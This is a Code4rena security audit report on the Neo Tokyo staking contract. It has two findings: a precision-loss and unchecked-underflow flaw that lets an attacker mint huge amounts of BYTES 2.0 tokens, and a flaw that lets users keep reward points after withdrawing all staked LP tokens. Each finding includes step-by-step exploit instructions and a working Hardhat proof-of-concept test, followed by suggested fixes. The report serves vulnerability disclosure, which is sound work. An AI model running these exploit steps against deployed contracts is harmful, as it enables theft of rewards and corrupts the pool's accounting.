Neo Tokyo contest - juancito's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1154-L1165 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1622-L1631

Vulnerability details

Impact

An attacker can mint a huge amount of BYTES 2.0 tokens for himself. Additionally, the rewards system can be permanently damaged by making the pool.totalPoints a huge number, not reflecting the actual state of the system.

Proof of Concept

There are two core ideas on how the exploit works:

The first one is to take advantage of a precision loss on the _stakeLP() function for the points calculation. So that it keeps the stakerLPPosition.points in zero, while increasing the stakerLPPosition.amount to its corresponding amount.

The second one is to abuse the _withdrawLP() function to perform an underflow on the unchecked operations regarding the substraction of points, namely: lpPosition.points -= points. Once the attacker gets a huge amount of points because of the underflow, they can be claimed for BYTES 2.0 tokens via the getReward() function.

POC Description

• Call NeoTokyoStaker.stake() with _assetType = LP and amount = 1e16 - 1

• Call NeoTokyoStaker.stake() again with _assetType = LP and amount = 1e16 - 1

• stakerLPPosition[msg.sender].amount will be (1e16 - 1) * 2

• stakerLPPosition[msg.sender].points will be 0 because of the precision loss

• Wait until the timelock ends: block.timestamp < lpPosition.timelockEndTime

• Call NeoTokyoStaker.withdraw() with _assetType = LP and amount = (1e16 - 1) * 2

• The points calculation will not suffer of precision loss now, and will be a number > 0

• stakerLPPosition[msg.sender].points will underflow and become a huge number

• Call BYTES2.getReward() with the attacker address

• share will be calculated as a huge number because it is directly proportional to points

• A huge amount of BYTES 2.0 tokens will be minted to the attacker

Vulnerability Explanation

When staking LP tokens, the NeoTokyoStaker._stakeLP function is called. For values amount < 1e16, the amount will be added to the previous staker LP position, but the points will be calculated as 0, and no points will be added to the position nor the pool totalPoints.

This is because of a precision loss on the line:

uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;

It is worth mentioning that the calculation is doing division before multiplication, which worsens the precision loss. Nevertheless the bug would still be exploitable, just with a bigger amount value.

// File: NeoTokyoStaker.sol
// Function: _stakeLP() {}

1154:		unchecked {
1155:			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR; // @audit precision loss
1156:
1157:			// Update the caller's LP token stake.
1158:			stakerLPPosition[msg.sender].timelockEndTime =
1159:				block.timestamp + timelockDuration;
1160:			stakerLPPosition[msg.sender].amount += amount;  // @audit-info amount is added normally
1161:			stakerLPPosition[msg.sender].points += points; // @audit 0 points are added
1162:
1163:			// Update the pool point weights for rewards.
1164:			pool.totalPoints += points; // @audit-info 0 points are added
1165:            }

Link to code

In order to perform the attack, the attacker can stake amount = 1e16 - 1 two times in the LP staking pool. That number is the max stakeable amount that will add zero points. It is done two times, so that it surpasses the precision loss threshold when withdrawing.

After waiting for the timelock period, the attacker can call the underlying _withdrawLP with amount = (2e16 - 2). The points are calculated with the same function as in _stakeLP(), but in this case the amount is enough to make the variable be calculated as points = 1.

The previous lpPosition.points was 0. So, because of that, and that the calculation is done inside an unchecked block, the result will be an underflow, close to the uint256 max value.

// File: NeoTokyoStaker.sol
// Function: _withdrawLP() {}

1622:		unchecked {
1623:			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
1624:
1625:			// Update the caller's LP token stake.
1626:			lpPosition.amount -= amount;
1627:			lpPosition.points -= points; // @audit underflow
1628:
1629:			// Update the pool point weights for rewards.
1630:			pool.totalPoints -= points;
1631:		}

Link to code

The attacker now has a huge amount of points that can be claimed for a huge amount of BYTES 2.0 tokens, via the BYTES2.getReward() function. This is the main point of the reported issue, and is detailed on the POC Test.

Additionally, after the exploit, the pool.totalPoints will not reflect the real total points of the pool, leading to also to a possible underflow when withdrawing tokens from the LP staking pool, by the attacker or even by normal usage.

POC Test

Include this test on the test/NeoTokyoStaker.test.js inside the main describe:

describe("exploit", function () {
  let attacker, attackerStakeTime, alice;

  beforeEach(async () => {
    const signers = await ethers.getSigners();
    const addresses = await Promise.all(
      signers.map(async (signer) => signer.getAddress())
    );

    alice = {
      provider: signers[1].provider,
      signer: signers[1],
      address: addresses[1],
    };

    attacker = {
      provider: signers[6].provider,
      signer: signers[6],
      address: addresses[6],
    };

    // Configure the LP token contract address on the staker.
    await NTStaking.connect(owner.signer).configureLP(LPToken.address);

    // Mint testing LP tokens to attacker and approve transfer to the staker.
    await LPToken.mint(attacker.address, ethers.utils.parseEther("1"));
    await LPToken.connect(attacker.signer).approve(
      NTStaking.address,
      ethers.constants.MaxUint256
    );

    // Mint testing LP tokens to Alice and approve transfer to the staker.
    // Alice will be staking to provide liquidity and satisfy the `if (pool.totalPoints != 0) {}`
    // condition on the `NeoTokyoStaker.getPoolReward()` function
    await LPToken.mint(alice.address, ethers.utils.parseEther("100000"));
    await LPToken.connect(alice.signer).approve(
      NTStaking.address,
      ethers.constants.MaxUint256
    );
    await NTStaking.connect(alice.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS["30"],
      ethers.utils.parseEther("10000"),
      0,
      0
    );
  });

  it.only("mints a huge amount of BYTES to the attacker and breaks the LP pool totalAmount", async () => {
    // The idea is to stake the maximum amount that will return 0 points
    // It's done two times, so that the position is: amount = (2e16 - 2) and points = 0

    // Stake attackers LP tokens for 30 days.
    await NTStaking.connect(attacker.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS["30"],
      ethers.utils.parseEther("0.01").sub(1), // 1e16 - 1
      0,
      0
    );

    // Stake attacker LP tokens again
    await NTStaking.connect(attacker.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS["30"],
      ethers.utils.parseEther("0.01").sub(1), // 1e16 - 1
      0,
      0
    );

    // Get the time at which the attacker staked
    const priorBlockNumber = await ethers.provider.getBlockNumber();
    const priorBlock = await ethers.provider.getBlock(priorBlockNumber);
    attackerStakeTime = priorBlock.timestamp;

    // Verify that the attacker position has: amount = (2e16 - 2) and points = 0
    const attackerPosition = await NTStaking.getStakerPositions(
      attacker.address
    );
    attackerPosition.stakedLPPosition.amount.should.be.equal(
      ethers.utils.parseEther("0.02").sub(2) // 2e16 - 2
    );
    attackerPosition.stakedLPPosition.points.should.be.equal(0);

    // Wait for the timelock
    await ethers.provider.send("evm_setNextBlockTimestamp", [
      attackerStakeTime + 60 * 60 * 24 * 30,
    ]);

    // Withdraw attacker LP tokens
    // This will underflow the points variable under the hood
    await NTStaking.connect(attacker.signer).withdraw(
      ASSETS.LP.id,
      ethers.utils.parseEther("0.02").sub(2) // 2e16 - 2
    );

    // Verify that the staked position of the attacker underflowed
    // The attacker now has a huge amount of points
    const attackerPositionAfterWithdraw = await NTStaking.getStakerPositions(
      attacker.address
    );
    const HUGE_POINTS =
      "115792089237316195423570985008687907853269984665640564039457584007913129639935";
    attackerPositionAfterWithdraw.stakedLPPosition.points.should.be.equal(
      HUGE_POINTS
    );

    // Verify that the attacker doesn't have any BYTES before the rewards
    const initialAttackerBytes = await NTBytes2_0.balanceOf(attacker.address);
    initialAttackerBytes.should.be.equal(0);

    // Wait for a minimum amount of time so that the `windowCount` and `totalReward` > 0
    await ethers.provider.send("evm_setNextBlockTimestamp", [
      attackerStakeTime + 60 * 60 * 24 * 30 + 1,
    ]);

    // Mint BYTES tokens as a reward
    // The attacker has successfully minted a huge amount of tokens
    await NTBytes2_0.connect(attacker.signer).getReward(attacker.address);
    const finalAttackerBytes = await NTBytes2_0.balanceOf(attacker.address);
    const HUGE_BYTES =
      "47236901774595398034497056415802841175609457665481691995646113483";
    finalAttackerBytes.should.be.equal(HUGE_BYTES);

    // Additional: Showcase how the `totalPoints` variable can be totally broken, and thus the rewards system
    // This is a very simplified example, as in this case Alice is the only other staker
    // But it shows one example on how an erroneous value of `totalPoints` can be exploited
    // @audit-info Change visibility of `NeoTokyoStaker._pools` to `public` for testing this
    if (NTStaking._pools) {
      // Withdraw Alice LP tokens
      const initialPool = await NTStaking._pools(ASSETS.LP.id);
      initialPool.totalPoints.should.be.equal(999999);
      await NTStaking.connect(alice.signer).withdraw(
        ASSETS.LP.id,
        ethers.utils.parseEther("10000")
      );

      // Verify that the `totalPoints` reflects a huge number
      // This will break any rewards calculation for any user
      const HUGE_TOTAL_POINTS =
        "115792089237316195423570985008687907853269984665640564039457584007913129639935";
      const finalPool = await NTStaking._pools(ASSETS.LP.id);
      finalPool.totalPoints.should.be.equal(HUGE_TOTAL_POINTS);
    }
  });
});

Tools Used

Manual review

Recommended Mitigation Steps

Calculate the points value considering previous stakings. This translates into no point being given if the minimum amount is not reached, but as soon as the value is reached, it will give at least one point. No matter if it is via one stake or multiple smaller stakes.

Also improve the precision loss by performing multiplications before divisions.

// File: NeoTokyoStaker.sol
// Function: _stakeLP() {}

		unchecked {
-                       uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
+                       uint256 newAmount = stakerLPPosition[msg.sender].amount + amount;
+                       uint256 newPoints = newAmount * 100 * timelockMultiplier / 1e18 / _DIVISOR;
+                       uint256 points = newPoints - stakerLPPosition[msg.sender].points;

			// Update the caller's LP token stake.
			stakerLPPosition[msg.sender].timelockEndTime =
				block.timestamp + timelockDuration;
			stakerLPPosition[msg.sender].amount += amount;
			stakerLPPosition[msg.sender].points += points;

			// Update the pool point weights for rewards.
			pool.totalPoints += points;
		}

The _withdrawLP function must calculate the points the same way as _stakeLP. Consider creating an auxiliary function that both methods use.

// File: NeoTokyoStaker.sol
// Function: _withdrawLP() {}

		unchecked {
-			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
+                       uint256 points = amount * 100 * lpPosition.multiplier / 1e18 / _DIVISOR;

			// Update the caller's LP token stake.
			lpPosition.amount -= amount;
			lpPosition.points -= points;

			// Update the pool point weights for rewards.
			pool.totalPoints -= points;
		}

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1622-L1631

Vulnerability details

Impact

Users are able to continue claiming BYTES rewards indefinitely on their initials points after withdrawing all of their LP stake.

Proof of Concept

A user can withdraw all of their LP staked tokens in multiple steps with an amount < 1e16. If the amount is below that value, zero points will be substracted from the user stake LP position. This is due to a precision loss issue in the points calculation.

Once all the staked tokens have been withdrawn, the user stake LP position will have amount == 0, and points equal to the initial value when the tokens were staked. After that the user can sell, transfer, or dispose the tokens the way he likes, while still being able to collect BYTES token rewards because he retains his original points.

POC Description

• Call NeoTokyoStaker.stake() with _assetType = LP and amount = 1e16

• stakerLPPosition[msg.sender].amount will be 1e16

• stakerLPPosition[msg.sender].points will be 1

• Wait until the timelock ends: block.timestamp < lpPosition.timelockEndTime

• Call NeoTokyoStaker.withdraw() with _assetType = LP and amount = 9e15

• Call NeoTokyoStaker.withdraw() again, but with _assetType = LP and amount = 1e15

• stakerLPPosition[msg.sender].amount will be 0, as all of the tokens have been withdrawn

• stakerLPPosition[msg.sender].points will STILL BE 1, because of the precision loss on the points calculation

• Call BYTES2.getReward() with the attacker address after some time

• More BYTES tokens will be minted for the attacker despite not having staked tokens, because stakerLPPosition[msg.sender].points = 1

This can be done for any amount of LP tokens. The only difference is that NeoTokyoStaker.withdraw() will have to be called as many times as needed with an amount < 1e16, so that no points are substracted during the withraw.

Vulnerability Explanation

When withdrawing LP tokens, the NeoTokyoStaker._withdrawLP function is called. For values amount < 1e16, the amount will be substracted from the staker LP position, but the points will be calculated as 0, and no points will be substracted from the position nor the pool totalPoints.

This is because of a precision loss on the line:

uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

It is worth mentioning that the calculation is doing division before multiplication, which worsens the precision loss. Nevertheless the bug would still be exploitable, just with a lower amount value.

// File: NeoTokyoStaker.sol
// Function: _withdrawLP() {}

1622:		unchecked {
1623:			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR; // @audit precision loss
1624:
1625:			// Update the caller's LP token stake.
1626:			lpPosition.amount -= amount;
1627:			lpPosition.points -= points; // @audit-info no points will be substracted
1628:
1629:			// Update the pool point weights for rewards.
1630:			pool.totalPoints -= points; // @audit-info no points will be substracted
1631:		}

Link to code

After withdrawing all the staked LP tokens, the user LP staked position will still have the initials points, which can be used later to claim rewards indefinitely.

POC Test

Include this test on the test/NeoTokyoStaker.test.js inside the main describe:

describe("exploit", function () {
  let attacker, attackerStakeTime, alice;

  beforeEach(async () => {
    const signers = await ethers.getSigners();
    const addresses = await Promise.all(
      signers.map(async (signer) => signer.getAddress())
    );

    alice = {
      provider: signers[1].provider,
      signer: signers[1],
      address: addresses[1],
    };

    attacker = {
      provider: signers[6].provider,
      signer: signers[6],
      address: addresses[6],
    };

    // Configure the LP token contract address on the staker.
    await NTStaking.connect(owner.signer).configureLP(LPToken.address);

    // Mint testing LP tokens to attacker and approve transfer to the staker.
    await LPToken.mint(attacker.address, ethers.utils.parseEther("10"));
    await LPToken.connect(attacker.signer).approve(
      NTStaking.address,
      ethers.constants.MaxUint256
    );

    // Mint testing LP tokens to Alice and approve transfer to the staker.
    // Alice will be staking to provide liquidity and satisfy the `if (pool.totalPoints != 0) {}`
    // condition on the `NeoTokyoStaker.getPoolReward()` function
    await LPToken.mint(alice.address, ethers.utils.parseEther("100000"));
    await LPToken.connect(alice.signer).approve(
      NTStaking.address,
      ethers.constants.MaxUint256
    );
    await NTStaking.connect(alice.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS["30"],
      ethers.utils.parseEther("10000"),
      0,
      0
    );
  });

  it.only("allows users to claim rewards after removing all of their staked LP token", async () => {
    // Stake attackers LP tokens for 30 days.
    await NTStaking.connect(attacker.signer).stake(
      ASSETS.LP.id,
      TIMELOCK_OPTION_IDS["30"],
      ethers.utils.parseEther("0.01"),
      0,
      0
    );

    // Get the time at which the attacker staked
    const priorBlockNumber = await ethers.provider.getBlockNumber();
    const priorBlock = await ethers.provider.getBlock(priorBlockNumber);
    attackerStakeTime = priorBlock.timestamp;

    // Wait for the timelock
    await ethers.provider.send("evm_setNextBlockTimestamp", [
      attackerStakeTime + 60 * 60 * 24 * 30,
    ]);

    // Verify that the attacker has 1 point before withdrawing
    const positionBeforeWithdraw = await NTStaking.getStakerPositions(
      attacker.address
    );
    positionBeforeWithdraw.stakedLPPosition.points.should.be.equal(1);

    // Withdraw attacker LP tokens in multiple withdraw calls
    // Each call with `amount < 1e16` will guaranty that no points are discounted
    await NTStaking.connect(attacker.signer).withdraw(
      ASSETS.LP.id,
      ethers.utils.parseEther("0.009") // 9e15
    );
    await NTStaking.connect(attacker.signer).withdraw(
      ASSETS.LP.id,
      ethers.utils.parseEther("0.001") // 1e15
    );

    // Verify that the attacker preserves their 1 point, while having no staked amount of tokens
    const positionAfterWithdraw = await NTStaking.getStakerPositions(
      attacker.address
    );
    positionAfterWithdraw.stakedLPPosition.points.should.be.equal(1);
    positionAfterWithdraw.stakedLPPosition.amount.should.be.equal(0);

    // Check and store the amount of BYTES the user has just after the withdrawal of all of their staked tokens
    const bytesAfterWithdraw = await NTBytes2_0.balanceOf(attacker.address);
    bytesAfterWithdraw.should.be.equal("1454999106342030");

    // Wait for some time so check if the attacker earned more rewards despite not having staked tokens
    await ethers.provider.send("evm_setNextBlockTimestamp", [
      attackerStakeTime + 60 * 60 * 24 * 30 + 100,
    ]);

    // Claim rewards
    await NTBytes2_0.connect(attacker.signer).getReward(attacker.address);

    // Check that the attacker has more BYTES tokens, meaning that they got reward
    // despite not having staked tokens
    const finalAttackerBytes = await NTBytes2_0.balanceOf(attacker.address);
    const earnedBytes = finalAttackerBytes - bytesAfterWithdraw;
    earnedBytes.should.be.greaterThan(0);
    earnedBytes.should.be.eq(55572861093);
  });
});

Tools Used

Manual review

Recommended Mitigation Steps

Calculate the points value considering the current total staked LP tokens, not only the amount being withdrawn. This translates into substracting points as soon as they reach the max threhold.

Also improve the precision loss by performing multiplications before divisions.

// File: NeoTokyoStaker.sol
// Function: _withdrawLP() {}

		unchecked {
-			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
+           uint256 newAmount = lpPosition.amount - amount;
+           uint256 newPoints = newAmount * 100 * lpPosition.multiplier / 1e18 / _DIVISOR;
+           uint256 points = lpPosition.points - newPoints;

			// Update the caller's LP token stake.
			lpPosition.amount -= amount;
			lpPosition.points -= points;

			// Update the pool point weights for rewards.
			pool.totalPoints -= points;
		}

The _stakeLP function must calculate the points the same way as _withdrawLP. Consider creating an auxiliary function that both methods use.

// File: NeoTokyoStaker.sol
// Function: _stakeLP() {}

		unchecked {
-            uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
+            uint256 points = amount * 100 * timelockMultiplier / 1e18 / _DIVISOR;

			// Update the caller's LP token stake.
			stakerLPPosition[msg.sender].timelockEndTime =
				block.timestamp + timelockDuration;
			stakerLPPosition[msg.sender].amount += amount;
			stakerLPPosition[msg.sender].points += points;

			// Update the pool point weights for rewards.
			pool.totalPoints += points;
		}